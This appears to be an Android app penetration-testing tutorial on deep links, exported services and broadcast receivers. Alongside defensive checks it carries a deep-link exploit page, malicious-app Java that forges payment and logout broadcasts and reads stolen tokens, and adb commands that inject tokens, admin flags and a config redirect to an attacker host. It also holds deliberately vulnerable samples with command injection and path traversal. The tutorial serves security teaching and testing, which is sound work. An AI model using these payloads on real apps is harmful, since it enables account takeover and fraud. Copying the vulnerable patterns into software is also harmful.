1. URI Scheme — custom URL scheme (myapp://)
The developer defines a custom URL scheme. Any link using that scheme opens the matching activity.
<activity android:name=".ProfileActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="profile"/>
</intent-filter>
</activity>
Handles links like: myapp://profile/123
Security problem: any other installed app can register the same myapp:// scheme. When the link fires, Android shows a chooser or routes to whichever app wins — an attacker's app can intercept the intent and steal any extras (tokens, user IDs) passed in the URL.
2. HTTP Deep Links — real HTTPS URLs, unverified
<activity android:name=".ProfileActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"
android:host="myapp.com"
android:pathPrefix="/profile"/>
</intent-filter>
</activity>
Handles links like: https://myapp.com/profile/123
Security problem: without verification, Android still shows a chooser popup and other apps can claim the same URL pattern. Still interceptable.
3. App Links — verified HTTPS URLs (most secure)
<activity android:name=".ProfileActivity" android:exported="true">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="myapp.com"/>
</intent-filter>
</activity>
android:autoVerify="true" tells Android to verify domain ownership during install by fetching:
[{
"relation": ["delegate_permission/common.handle_all_urls"],
"target": {
"namespace": "android_app",
"package_name": "com.example.myapp",
"sha256_cert_fingerprints": ["AA:BB:CC:..."]
}
}]
If verification passes, the app exclusively owns that URL — no chooser, no interception.
Comparison:
| Type | Example | Secure | No chooser | Works without app installed |
|---|---|---|---|---|
| URI Scheme | myapp:// |
❌ | ✅ | ❌ crashes |
| HTTP Links | https:// |
❌ | ❌ | ✅ opens browser |
| App Links | https:// verified |
✅ | ✅ | ✅ opens browser |
Behaviour change in Android 12:
Android 12 tightened how unverified HTTP deep links are handled. Previously Android would show a chooser letting the user pick between the app and a browser. From Android 12 onwards, if a link‐handling activity does not pass autoVerify verification, Android sends the URL straight to the browser and never offers the app.
| Type | Before Android 12 | Android 12+ |
|---|---|---|
URI Scheme myapp:// |
✅ Opens app | ✅ Opens app |
HTTP without autoVerify |
⚠️ Shows chooser | ❌ Goes straight to browser |
HTTP with autoVerify |
✅ Opens app directly | ✅ Opens app directly |
This matters for testing: on an Android 12+ device, an app that relied on unverified HTTP deep links without autoVerify will silently stop working, and the links will just open the browser. If you are testing on a pre‑12 device you may still see the chooser for links that a newer device would never route to the app at all.
Deep link exploitation
Deep links are an attractive target because they are reachable from a browser, a QR code, or another app — no ADB, no special privileges required. The victim just has to tap a link.
Common issues:
- Unvalidated parameters — the URL path or query string is passed directly to a WebView, file loader, or API call without sanitisation
- Authentication bypass — the deep link opens a post-login screen directly, skipping auth checks
- Token leakage via URI scheme — custom scheme delivers an OAuth callback token, intercepted by a malicious app registered on the same scheme
Step 1 — Confirm the deep link exists
Decode the APK and look at the manifest for BROWSABLE intent filters:
You are looking for something like:
<activity android:name=".PasswordResetActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="reset"/>
</intent-filter>
</activity>
This tells you the app responds to myapp://reset/... — and that screen is publicly reachable via any link.
Step 2 — Test directly via ADB
Before going further, confirm the deep link actually opens the right activity:
# Basic trigger
adb shell am start -a android.intent.action.VIEW \
-d "myapp://reset" com.example.app
# With a token parameter
adb shell am start -a android.intent.action.VIEW \
-d "myapp://reset?token=AAAA1234" com.example.app
# Test for unvalidated input — inject a URL into a parameter
adb shell am start -a android.intent.action.VIEW \
-d "myapp://reset?next=https://evil.com" com.example.app
Watch Logcat while triggering to see what the app does with the parameters:
Step 3 — Trigger from a real browser (no ADB)
The real attack vector is a link the victim taps — in a browser, a message, or an email. You can serve a malicious HTML page from your machine that fires the deep link automatically when opened.
Set up a Python web server:
Create a file called exploit.html:
<!DOCTYPE html>
<html>
<head>
<title>Loading...</title>
</head>
<body>
<p>Loading, please wait...</p>
<script>
// Fire the deep link immediately on page load
window.location = "myapp://reset?token=attacker_controlled_value";
// Fallback after 2 seconds if the app didn't open
setTimeout(function() {
document.body.innerHTML = "App not installed or link failed.";
}, 2000);
</script>
</body>
</html>
Serve it from your machine (on the same network as the device or emulator):
Get your machine's IP:
On the Android device or emulator, open the browser and navigate to:
The page loads, JavaScript fires window.location = "myapp://reset?token=...", and the app opens directly to the password reset screen with your controlled token — no ADB, no app install, just a browser link.
To test on an emulator from the same machine:
# Forward port so the emulator can reach your local server
adb reverse tcp:8080 tcp:8080
# Then open in emulator browser
adb shell am start -a android.intent.action.VIEW \
-d "http://127.0.0.1:8080/exploit.html"
Step 4 — What to look for once the screen opens
Once the deep link lands on the target screen, observe what happens:
| Test | What to look for |
|---|---|
| Token in URL loaded into session | Does the app accept ?token=anything and log you in? |
| Redirect parameter | Does ?next=https://evil.com redirect after action? |
| File path in URL | Does ?path=../../shared_prefs/creds.xml load a local file? |
| Auto-confirm actions | Does landing on myapp://deleteAccount trigger deletion without confirmation? |
Check Logcat for the raw intent data the activity receives:
Also check the activity's source code in jadx — search for getIntent(), getData(), getQueryParameter() to see what the app does with the incoming URL.
Services⚓
What is a Service?⚓
A Service runs in the background with no user interface. It keeps doing its job even when the user switches to another app, or closes the app entirely.
Examples: music playing while browsing, WhatsApp downloading media, GPS tracking while screen is off.
Activities handle visible screens. Services handle everything that needs to run silently without a screen.
How Services are Started⚓
Another component — an Activity, a Receiver, or another Service — sends an Intent to start the service, the same way Activities are opened:
Intent intent = new Intent(this, SyncService.class);
intent.putExtra("mode", "full");
startService(intent);
If the service is exported, any app on the device (or ADB) can send that same intent — with whatever extras it wants — and the service will start and act on them.
Foreground vs Background⚓
Foreground Service — the user is aware it is running. Android requires it to show a persistent notification (the music player notification, the GPS arrow in the status bar). Android will not kill it under memory pressure.
Background Service — runs silently. Android can kill it at any time if it needs memory. It restarts when resources are available if START_STICKY is returned from onStartCommand().
Started vs Bound — The Key Distinction for Pentesting⚓
This is the most important split to understand, because it determines how you interact with the service as an attacker.
Started service — you fire an intent and the service runs. You get no response back. Think of it as a fire-and-forget command:
Attacker ──startService(intent)──▶ Service runs onStartCommand()
│
does its thing silently
(no return value to caller)
The service reads extras from the intent and acts on them. If it deletes a file, starts a network upload, or resets a PIN based on those extras — you just triggered that by starting it.
Bound service — you connect to the service and get back a live object with callable methods. Think of it as connecting to a local API:
Attacker ──bindService()──▶ Service returns IBinder
│ │
attacker holds interface exposes methods:
and calls methods on it processPayment()
getAdminToken()
deleteUser()
The IBinder is defined using AIDL (Android Interface Definition Language) — it is essentially the interface file for the service's RPC. If the service is exported with no permission check, you can call any method on that interface directly from a malicious app.
Why Exported Services are Dangerous⚓
Unlike an Activity, a Service has no visual output — there is no screen that tells the user something is happening. An attacker can:
- Start a service that silently exfiltrates data
- Call a bound service method that performs a privileged action with no UI confirmation
- Pass crafted extras that reach file operations, shell execution, or network calls inside
onStartCommand()
And unless the developer added explicit permission checks, the OS delivers the intent with no questions asked.
Recon — Finding Services in the Manifest⚓
After decoding with apktool, grep for every <service> tag:
A dangerous service looks like this — exported with no permission:
Anything exported without android:permission is reachable by any app or ADB.
Key flags:
| Flag | Risk |
|---|---|
android:exported="true" without android:permission |
Any app can start or bind to it |
No android:exported attribute (pre-API 33 with intent filter) |
Defaults to true |
Service name contains Admin, Auth, Command, Sync, Pay |
High-value target |
android:foregroundServiceType present |
Runs with elevated priority, harder to kill |
What to Look for in the Source Code⚓
Load the APK into jadx. Every service class extends Service and overrides at least one of these methods:
| Method | When called | What to look for |
|---|---|---|
onStartCommand(Intent, int, int) |
When another component calls startService() |
Intent extras used to drive logic |
onBind(Intent) |
When another component calls bindService() |
Returns the IBinder — find the interface it exposes |
onHandleIntent(Intent) |
IntentService pattern (deprecated but common) |
Intent extras passed directly to background work |
Pattern 1 — Started service that reads extras from the intent
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
String action = intent.getStringExtra("action");
String target = intent.getStringExtra("target");
if ("delete".equals(action)) {
deleteFile(target); // ← attacker controls both values
} else if ("upload".equals(action)) {
uploadFileTo(target);
}
return START_STICKY;
}
Any caller can start this service with action=delete and target=/data/data/com.example.app/databases/app.db.
Pattern 2 — Bound service exposing a method interface (AIDL)
Bound services expose methods via an IBinder. In jadx, look for inner classes named Stub — these are auto-generated AIDL binder implementations:
public class PaymentService extends Service {
private final IBinder binder = new IPaymentService.Stub() {
@Override
public void processPayment(String cardNumber, double amount) {
// ← directly callable by any bound app
charge(cardNumber, amount);
}
@Override
public boolean isAdmin() {
return true; // ← no auth check
}
};
@Override
public IBinder onBind(Intent intent) {
return binder;
}
}
If the service is exported with no permission, any app can bind and call processPayment() or isAdmin() directly.
Pattern 3 — Messenger-based service (lightweight IPC)
Some services use a Messenger instead of AIDL. Look for Handler subclasses inside the service:
private class IncomingHandler extends Handler {
@Override
public void handleMessage(Message msg) {
switch (msg.what) {
case MSG_EXECUTE_CMD:
String cmd = (String) msg.obj;
Runtime.getRuntime().exec(cmd); // ← command injection
break;
}
}
}
Any app that binds to the service and sends a Message with what=MSG_EXECUTE_CMD can execute arbitrary shell commands.
Exploitation — Starting a Service via ADB⚓
Android 8.0+ background service restriction
am startservice for a background service is blocked on Android 8.0+ when the app is not in the foreground. Use am start-foreground-service instead, which starts the service as a foreground service (it will post a notification).
# Start an exported service (Android ≤ 7.1, or app is foregrounded on 8.0+)
adb shell am startservice -n com.example.app/.AdminService
# Start a foreground service (Android 8.0+ / API 26+)
adb shell am start-foreground-service -n com.example.app/.UploadService
# With string extras
adb shell am startservice -n com.example.app/.FileService \
--es "action" "delete" \
--es "target" "/data/data/com.example.app/databases/app.db"
# With integer extras
adb shell am startservice -n com.example.app/.SyncService \
--ei "mode" "0"
# Force-start with an action (if service has an intent filter)
adb shell am startservice -a com.example.app.ADMIN_ACTION
# Stop a running service
adb shell am stopservice -n com.example.app/.SyncService
Extra type flags (same as am start):
| Flag | Type |
|---|---|
--es |
String |
--ei |
Integer |
--el |
Long |
--ef |
Float |
--ez |
Boolean |
--eu |
URI |
--esa |
String array (comma-separated) |
--eia |
Integer array (comma-separated) |
Watch output in Logcat:
Exploitation — Binding to a Service from a Malicious App⚓
For bound services, ADB alone cannot call AIDL methods — you need a client app. Write a minimal Android app that binds and calls the interface:
// In your malicious app
ServiceConnection conn = new ServiceConnection() {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
// Cast to the target's AIDL interface
IPaymentService paymentService = IPaymentService.Stub.asInterface(service);
try {
paymentService.processPayment("4111111111111111", 0.01);
} catch (RemoteException e) { }
}
@Override
public void onServiceDisconnected(ComponentName name) {}
};
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.example.app",
"com.example.app.PaymentService"
));
bindService(intent, conn, Context.BIND_AUTO_CREATE);
To get the AIDL interface definition, extract it from the decompiled source in jadx — look for the .aidl file structure or reconstruct it from the Stub class.
Quick Reference — Service Pentest Checklist⚓
[ ] Grep manifest for all <service> tags
[ ] Note which are exported=true without android:permission
[ ] Identify started vs bound services (look for onBind returning non-null)
[ ] Find onStartCommand — check what extras it reads and acts on
[ ] Find inner Stub classes — list all callable AIDL methods
[ ] Find Handler/handleMessage — check each msg.what case
[ ] Start exported started services via ADB with crafted extras
[ ] For bound services, write a client app to call AIDL methods directly
[ ] Look for missing auth checks on sensitive methods (processPayment, isAdmin)
[ ] Check if service performs file ops, network calls, or shell exec with intent data
Broadcast Receivers⚓
What is a Broadcast?⚓
Android has a system-wide messaging bus. Any component — Android itself, or any app — can shout a message onto this bus. That message is called a broadcast. It is just a string: an action name like "android.intent.action.BOOT_COMPLETED" or "com.example.app.PAYMENT_DONE".
A Broadcast Receiver is a piece of code that sits and listens for a specific action string. When that string appears on the bus, Android wakes the receiver up and runs its onReceive() method — even if the app is not open.
Think of it like a pub/sub system:
[Android OS] ──broadcasts──▶ "BOOT_COMPLETED"
│
┌────────────────────────┤
▼ ▼
[WhatsApp receiver] [YourApp receiver]
starts background loads cached data
sync job
Both apps registered interest in BOOT_COMPLETED. Both get called. Neither app was open — Android woke them up.
Who can send a broadcast?⚓
Anyone. That is the core security issue. By default:
- Android itself sends system broadcasts (
BOOT_COMPLETED,BATTERY_LOW,SMS_RECEIVED, etc.) - Any app can send its own custom broadcast to any action string it knows
- ADB can send broadcasts from a computer directly to the device
There is no authentication on who sent the message. A receiver gets the broadcast and has to decide whether to trust it — and most apps do not do this check.
What happens when a broadcast arrives?⚓
Android delivers it to every registered receiver that declared interest in that action. The receiver's onReceive() method runs. The receiver can then do anything the app is allowed to do — write to a database, log the user in, delete a file, make a network call, change a preference.
This is why exported receivers with no permission check are dangerous: the attacker controls the trigger and the data, and the receiver acts on it unconditionally.
Static vs Dynamic Receivers⚓
Static Receiver — declared in the manifest, always listening (even when app is not running):
<receiver android:name=".BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
Android reads this at install time. From that point on, whenever BOOT_COMPLETED fires, Android starts this receiver — the app does not need to be running or even have been opened by the user yet.
Dynamic Receiver — registered in code, only listens while the app is running:
Instead of declaring a <receiver> tag in the manifest, the app creates and registers a receiver object directly inside an Activity (or Service) at runtime. There are two ways to write the receiver class itself:
Option A — Separate named class (common in older codebases):
public class BatteryReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// handle BATTERY_LOW
}
}
// Inside Activity.onCreate()
BatteryReceiver myReceiver = new BatteryReceiver();
IntentFilter filter = new IntentFilter("android.intent.action.BATTERY_LOW");
registerReceiver(myReceiver, filter);
Option B — Anonymous inner class inline inside the Activity (common in modern code):
// Inside Activity — no separate class file needed
private BroadcastReceiver myReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if ("android.intent.action.BATTERY_LOW".equals(action)) {
// handle it
}
}
};
@Override
protected void onResume() {
super.onResume();
IntentFilter filter = new IntentFilter("android.intent.action.BATTERY_LOW");
registerReceiver(myReceiver, filter); // start listening
}
@Override
protected void onPause() {
super.onPause();
unregisterReceiver(myReceiver); // stop listening — avoids memory leaks
}
This is purely in-code — nothing in the manifest, no separate class file. The receiver only exists while the Activity is alive (between onResume and onPause). On Android 8.0+, this is the required approach for receiving implicit broadcasts, since manifest receivers can no longer catch them.
The app registers this in code (usually in onCreate or onResume). When the app is killed, the receiver disappears with it.
Why this matters for pentesting:
Static receivers are a larger attack surface — they are always listening. You do not need the app to be open. Fire the broadcast at any time and the receiver will run.
Common System Broadcasts⚓
| Event | Action |
|---|---|
| Phone booted | BOOT_COMPLETED |
| Battery low | BATTERY_LOW |
| Charger connected | ACTION_POWER_CONNECTED |
| SMS received | SMS_RECEIVED |
| Wifi connected | CONNECTIVITY_CHANGE |
| App installed | PACKAGE_ADDED |
Recon — Finding Receivers in the Manifest⚓
After decoding the APK with apktool, look for every <receiver> tag:
A dangerous receiver looks like this — exported with no permission requirement:
<receiver android:name=".TokenRefreshReceiver" android:exported="true">
<intent-filter>
<action android:name="com.example.app.REFRESH_TOKEN"/>
</intent-filter>
</receiver>
Any app on the device (or an ADB command) can fire com.example.app.REFRESH_TOKEN at it. The receiver has no way to verify who sent the broadcast.
Key flags to look for:
| Flag | Risk |
|---|---|
android:exported="true" without android:permission |
Any app or ADB can trigger it |
| Custom action strings (not system actions) | Likely handles app-internal logic that shouldn't be public |
No android:exported set at all (before API 33) |
Defaults to true if an <intent-filter> is present |
Sensitive action name (RESET, ADMIN, UNLOCK, PAYMENT) |
High priority target |
What to Look for in the Source Code⚓
Once you have identified receivers in the manifest, load the APK into jadx and find the corresponding class.
Search for onReceive — this is the entry point for every receiver:
public class TokenRefreshReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
// ...
}
}
Patterns that indicate a vulnerability:
1. No sender validation — the receiver trusts the action blindly
@Override
public void onReceive(Context context, Intent intent) {
if ("com.example.app.RESET_PIN".equals(intent.getAction())) {
resetUserPin(); // ← anyone who sends this broadcast wins
}
}
There is no check on who sent the broadcast. An attacker sending the right action string triggers resetUserPin() without any authentication.
2. Sensitive extras read from the intent
@Override
public void onReceive(Context context, Intent intent) {
String token = intent.getStringExtra("auth_token");
String userId = intent.getStringExtra("user_id");
loginUser(token, userId); // ← attacker supplies both values
}
The receiver takes auth_token and user_id from the broadcast. An attacker sends a crafted broadcast with controlled extras and logs in as any user.
3. Command or path passed as an extra
String cmd = intent.getStringExtra("command");
Runtime.getRuntime().exec(cmd); // ← command injection
String path = intent.getStringExtra("file_path");
new File(path).delete(); // ← path traversal / arbitrary deletion
4. Dynamic receiver registered with a broad action
In code, look for registerReceiver calls:
IntentFilter filter = new IntentFilter();
filter.addAction("com.example.app.INTERNAL_CMD");
registerReceiver(cmdReceiver, filter); // ← no permission set
Without a permission guard on registerReceiver, any app that knows the action string can trigger this while the app is running.
5. Ordered broadcasts — result interception
If the app sends an ordered broadcast (sendOrderedBroadcast) and a malicious app registers with a higher priority for the same action, it can intercept and abort the broadcast before the legitimate receiver gets it — or modify the result data.
// Vulnerable — no permission on the ordered broadcast
sendOrderedBroadcast(intent, null);
// Safe — only receivers holding this permission receive it
sendOrderedBroadcast(intent, "com.example.app.READ_RESULT");
Custom Broadcasts⚓
Apps define their own broadcast actions to trigger internal logic or communicate between components. These are the most interesting targets during a pentest — they handle app-specific business logic (payment, auth, admin) and developers often assume nobody outside the app knows the action string.
Defining and sending a custom broadcast:
// App internally fires a custom broadcast
Intent intent = new Intent("com.example.app.USER_UPGRADED");
intent.putExtra("new_tier", "premium");
sendBroadcast(intent);
<!-- Receiver declared in manifest to handle it -->
<receiver android:name=".UpgradeReceiver" android:exported="true">
<intent-filter>
<action android:name="com.example.app.USER_UPGRADED"/>
</intent-filter>
</receiver>
Because android:exported="true" has no android:permission, any app or ADB command can send com.example.app.USER_UPGRADED with new_tier=premium and the receiver will act on it.
Finding custom action strings
Action strings are just constants, so they show up in the decompiled code. Search in jadx or in the decoded folder:
# In the decoded APK folder — scan smali for action strings
grep -ri "sendBroadcast\|sendOrderedBroadcast" decoded/smali/
# Search for the actual action string patterns
grep -ri "\.ACTION\|\.BROADCAST\|\.INTENT\|\.EVENT" decoded/smali/
In jadx, search (Ctrl+Shift+F) for:
Also look for public static final String fields in the class — these are almost always the action constant definitions:
public class BroadcastActions {
public static final String PAYMENT_COMPLETE = "com.example.app.PAYMENT_COMPLETE";
public static final String RESET_AUTH = "com.example.app.RESET_AUTH";
public static final String ADMIN_UNLOCK = "com.example.app.ADMIN_UNLOCK";
}
Once you have the string, trace all callers of sendBroadcast that use it, and find the matching receiver class to read onReceive().
Common custom broadcast patterns and how to abuse them
Android 8.0+ — use -n not -a
The ADB commands below use the explicit -n package/.ReceiverClass form. On Android 8.0 (API 26)+, am broadcast -a action is silently blocked for manifest-declared receivers. Find the receiver class name from android:name in the manifest, then use -n com.example.app/.ReceiverClass.
Pattern 1 — Feature / subscription unlock
// Receiver
public void onReceive(Context context, Intent intent) {
if ("com.example.app.PURCHASE_COMPLETE".equals(intent.getAction())) {
String sku = intent.getStringExtra("sku");
PremiumManager.unlock(context, sku);
}
}
Trigger it directly with any SKU:
# Android 8.0+ — explicit component (find receiver class name in manifest)
adb shell am broadcast -n com.example.app/.UpgradeReceiver \
--es "sku" "premium_annual"
# Android ≤ 7.1 — action-based also works
adb shell am broadcast -a com.example.app.PURCHASE_COMPLETE \
--es "sku" "premium_annual"
Pattern 2 — Token / session injection
public void onReceive(Context context, Intent intent) {
String token = intent.getStringExtra("session_token");
SessionManager.setToken(context, token);
}
# Android 8.0+
adb shell am broadcast -n com.example.app/.SessionReceiver \
--es "session_token" "attacker_controlled_token"
# Android ≤ 7.1
adb shell am broadcast -a com.example.app.SESSION_UPDATE \
--es "session_token" "attacker_controlled_token"
Pattern 3 — Admin mode toggle
public void onReceive(Context context, Intent intent) {
boolean admin = intent.getBooleanExtra("admin", false);
Prefs.setAdmin(context, admin);
}
# Android 8.0+
adb shell am broadcast -n com.example.app/.AdminToggleReceiver \
--ez "admin" "true"
# Android ≤ 7.1
adb shell am broadcast -a com.example.app.SET_ADMIN \
--ez "admin" "true"
Pattern 4 — Internal config override
Apps sometimes use broadcasts to push remote config updates internally. If the receiver is exported, an attacker can push arbitrary config:
public void onReceive(Context context, Intent intent) {
String apiUrl = intent.getStringExtra("api_url");
Config.setApiUrl(context, apiUrl); // ← redirect all API calls
}
# Android 8.0+
adb shell am broadcast -n com.example.app/.ConfigReceiver \
--es "api_url" "https://attacker.com/api"
# Android ≤ 7.1
adb shell am broadcast -a com.example.app.CONFIG_UPDATE \
--es "api_url" "https://attacker.com/api"
This redirects all of the app's API traffic to an attacker-controlled server — effectively a man-in-the-middle without touching the network.
Pattern 5 — Sticky broadcasts (deprecated but still found in older apps)
A sticky broadcast persists after being sent — any future receiver that registers for the action immediately gets the last value. If an app stores sensitive data in a sticky broadcast, any app can read it by registering at any time:
// App sends a sticky broadcast with auth data
Intent sticky = new Intent("com.example.app.AUTH_DATA");
sticky.putExtra("token", currentToken);
sendStickyBroadcast(sticky); // ← persists indefinitely
A malicious app reads it:
Intent data = registerReceiver(null,
new IntentFilter("com.example.app.AUTH_DATA"));
String stolen = data.getStringExtra("token");
No timing dependency — the malicious app gets the last value even if it registered after the broadcast was sent.
Distinguishing custom from system broadcasts during review
| Indicator | System broadcast | Custom broadcast |
|---|---|---|
| Action prefix | android.intent.action.* |
com.example.app.* |
| Defined in AOSP | Yes | No — defined in the app |
| Sendable by attacker | Some (battery, boot require privilege) | Yes — no restriction unless permission set |
| Carries app business logic | Never | Almost always |
Focus custom broadcast review on any action whose name includes words like: AUTH, TOKEN, LOGIN, LOGOUT, RESET, ADMIN, PAYMENT, PURCHASE, UNLOCK, CONFIG, UPDATE, SYNC.
Protection Checks to Verify During Review⚓
When reviewing a receiver for security, check that it uses at least one of these defences:
1. Permission on the <receiver> tag — only callers with the permission can send:
<receiver android:name=".AdminReceiver"
android:exported="true"
android:permission="com.example.app.SEND_ADMIN"/>
2. Signature-protected custom permission — only apps signed by the same developer:
3. LocalBroadcastManager — stays within the process, never leaves the app:
// Send
LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
// Register
LocalBroadcastManager.getInstance(context).registerReceiver(receiver, filter);
LocalBroadcastManager broadcasts cannot be sent or received by other apps. Use this for any receiver that handles internal app events — it is the safest option.
4. Explicit target on outgoing broadcasts — send to one specific package:
5. Runtime sender validation inside onReceive:
@Override
public void onReceive(Context context, Intent intent) {
// Check the calling UID against an expected app
int callerUid = Binder.getCallingUid();
String callerPackage = context.getPackageManager()
.getNameForUid(callerUid);
if (!"com.example.trustedapp".equals(callerPackage)) {
return; // ignore untrusted senders
}
// proceed
}
How Permissions Actually Work on Receivers — and How They Break⚓
Seeing android:permission on a receiver does not automatically mean it is safe. The protection level of that permission determines everything. This is one of the most commonly misunderstood areas in Android security.
The full picture: two declarations must exist
A permission requires two separate things in the manifest:
- A
<permission>tag that defines the permission and sets its protection level - An
android:permissionattribute on the component that enforces it
A receiver that only has the attribute but never defines the permission is relying on a permission that may or may not exist yet — see the hijacking scenario below.
Scenario A — Permission defined with normal protection level (broken)
<!-- App defines the permission -->
<permission
android:name="com.example.app.SEND_ADMIN"
android:protectionLevel="normal"/> <!-- ← the problem -->
<!-- Receiver enforces it -->
<receiver android:name=".AdminReceiver"
android:exported="true"
android:permission="com.example.app.SEND_ADMIN"/>
On the surface this looks protected. In practice it is not.
normal means: any app that declares <uses-permission android:name="com.example.app.SEND_ADMIN"/> in its manifest gets it automatically at install time — no user prompt, no approval. The user never sees it. The developer never reviews who asked for it.
So any attacker app just adds one line to its manifest and instantly qualifies to send broadcasts to AdminReceiver:
# Attacker app can now broadcast freely
# Android 8.0+ — use explicit component
adb shell am broadcast -n com.example.app/.AdminReceiver
# Android ≤ 7.1
adb shell am broadcast -a com.example.app.ADMIN_ACTION
normal protection level = any app can get it = no meaningful protection.
Scenario B — Permission defined with signature protection level (correct)
<permission
android:name="com.example.app.SEND_ADMIN"
android:protectionLevel="signature"/>
<receiver android:name=".AdminReceiver"
android:exported="true"
android:permission="com.example.app.SEND_ADMIN"/>
signature means: Android will only grant this permission to apps signed with the same signing certificate as the app that defined it. An attacker app with a different certificate cannot get this permission — even if it declares <uses-permission> for it. Android silently denies it.
This is the correct protection for receivers that should only be reachable by your own companion apps or SDKs.
What to check when you see a permission on a receiver:
- Find where the
<permission>tag is defined (search the full manifest) - Read its
android:protectionLevel - If it is
normalor not set (defaults tonormal) → treat the receiver as unprotected
Scenario C — The permission is not defined in the app at all
<!-- Receiver requires a permission -->
<receiver android:name=".AdminReceiver"
android:exported="true"
android:permission="com.example.app.SEND_ADMIN"/>
<!-- But there is no <permission> tag defining SEND_ADMIN anywhere -->
When an app references a permission that has not been defined yet, Android must find the definition elsewhere. If no other installed app defines it either, Android treats it as an unknown permission and may grant it to anyone on some API levels, or reject all callers — the behaviour is inconsistent and version-dependent.
More dangerously, this opens a permission pre-install hijacking window:
Scenario D — Permission hijacking (pre-install race)
The target app uses a custom permission com.example.app.SEND_ADMIN to protect a receiver, but defines it inside the same APK rather than a separate base APK that installs first.
A malicious app, installed before the target app, can define a permission with the same name but with normal protection level:
<!-- Malicious app installed first -->
<permission
android:name="com.example.app.SEND_ADMIN"
android:protectionLevel="normal"/> <!-- hijacked definition -->
<uses-permission android:name="com.example.app.SEND_ADMIN"/>
When the target app installs, Android sees the permission is already defined (by the malicious app) and uses that definition — with normal protection level. The malicious app already holds it. It can now send broadcasts to the target's AdminReceiver freely.
How to check for this during a pentest:
# After installing the target app, dump all custom permissions it defines
adb shell pm list permissions -f | grep "com.example.app"
# Check the protection level of each one
# Look for protectionLevel=0x0 (normal) on sensitive permission names
If the protection level is 0x0 (normal) or 0x1 (dangerous) on a permission protecting a sensitive receiver, it is vulnerable.
Protection level mapping in pm output:
pm output value |
Protection level |
|---|---|
0x0 |
normal — any app gets it |
0x1 |
dangerous — user must approve |
0x2 |
signature — same cert only |
0x3 |
signatureOrSystem — same cert or system app |
Summary: what to look for when a receiver has android:permission
Receiver has android:permission="com.example.app.FOO"
│
▼
Find <permission android:name="com.example.app.FOO">
in the manifest
│
┌─────────┴──────────┐
Found Not found
│ │
Read protectionLevel ── possibly undefined ──▶ check if another
│ │ app defines it
┌─────┴─────┐ ▼
normal signature Inconsistent / hijackable
│ │
❌ Any app ✅ Same-cert
can get it apps only
Exploitation — Sending Crafted Broadcasts via ADB⚓
Android 8.0+ (API 26) — implicit -a broadcasts no longer reach manifest receivers
Starting with Android 8.0 (Oreo), Android blocks implicit broadcasts (action-only, no explicit target) from being delivered to statically registered receivers declared in a manifest. The -a flag in am broadcast is an implicit broadcast — it will silently fail to reach a manifest-declared receiver on Android 8.0+.
Use -n (explicit component target) instead. This bypasses the restriction entirely because it is an explicit broadcast.
The reliable approach — explicit component target (-n)
Always use this on modern devices:
# Explicit broadcast — works on all Android versions including 8.0+
adb shell am broadcast -n com.example.app/.AdminReceiver \
--es "cmd" "unlock"
adb shell am broadcast -n com.example.app/.UpgradeReceiver \
--es "new_tier" "premium"
adb shell am broadcast -n com.example.app/.AuthReceiver \
--es "auth_token" "attacker_token" \
--es "user_id" "1"
adb shell am broadcast -n com.example.app/.RoleReceiver \
--ei "role_id" "0"
adb shell am broadcast -n com.example.app/.FeatureReceiver \
--ez "admin_mode" "true"
The receiver class name comes from android:name in the manifest. Use -n package/.ReceiverClass — note the leading dot.
The implicit approach (-a) — only reliable on Android 7.x and below
# ⚠️ Will NOT reach manifest-declared receivers on Android 8.0+
adb shell am broadcast -a com.example.app.RESET_PIN
adb shell am broadcast -a com.example.app.LOGIN --es "auth_token" "attacker_token"
This may still reach dynamically registered receivers (registered in code via registerReceiver()) on 8.0+, but only if the app is running and the receiver is currently registered.
Quick check — which approach to use:
| Device Android version | -a (implicit) |
-n (explicit) |
|---|---|---|
| Android ≤ 7.1 (API ≤ 25) | Works for manifest receivers | Works |
| Android 8.0+ (API ≥ 26) | ❌ Silently blocked for manifest receivers | ✅ Always works |
Extra type flags:
| Flag | Type |
|---|---|
--es |
String |
--ei |
Integer |
--el |
Long |
--ef |
Float |
--ez |
Boolean |
--eu |
URI |
--esa |
String array (comma-separated) |
--eia |
Integer array (comma-separated) |
Watch the app's reaction in Logcat while you send:
Exploitation — Malicious App on the Same Device⚓
When you cannot use ADB (real-device attack scenario), a malicious app installed on the same device can send the same broadcast:
// Malicious app — sends a crafted broadcast to the target app's receiver
Intent intent = new Intent("com.example.app.RESET_PIN");
intent.setPackage("com.example.app"); // explicit target avoids chooser
sendBroadcast(intent);
The setPackage() call makes this an explicit broadcast — it goes directly to the target package with no permission needed (as long as the receiver is exported without a permission restriction).
Attack scenario — forced logout / DoS:
Intent intent = new Intent("com.example.app.LOGOUT_ALL");
intent.setPackage("com.example.app");
sendBroadcast(intent);
If the receiving app logs out all sessions on this broadcast, the attacker can fire it repeatedly to keep the victim logged out — no credentials required.
Attack scenario — authentication bypass:
Intent intent = new Intent("com.example.app.PAYMENT_SUCCESS");
intent.setPackage("com.example.app");
intent.putExtra("order_id", "12345");
intent.putExtra("amount", "0.00");
sendBroadcast(intent);
If the app uses a broadcast to signal a completed payment and then unlocks premium content without server-side verification, an attacker can fire the broadcast directly and unlock content for free.
Exploitation — Intercepting Implicit Broadcasts⚓
If the target app sends a broadcast using an implicit intent (no setPackage()), any other app can intercept it. How you intercept depends on the Android version.
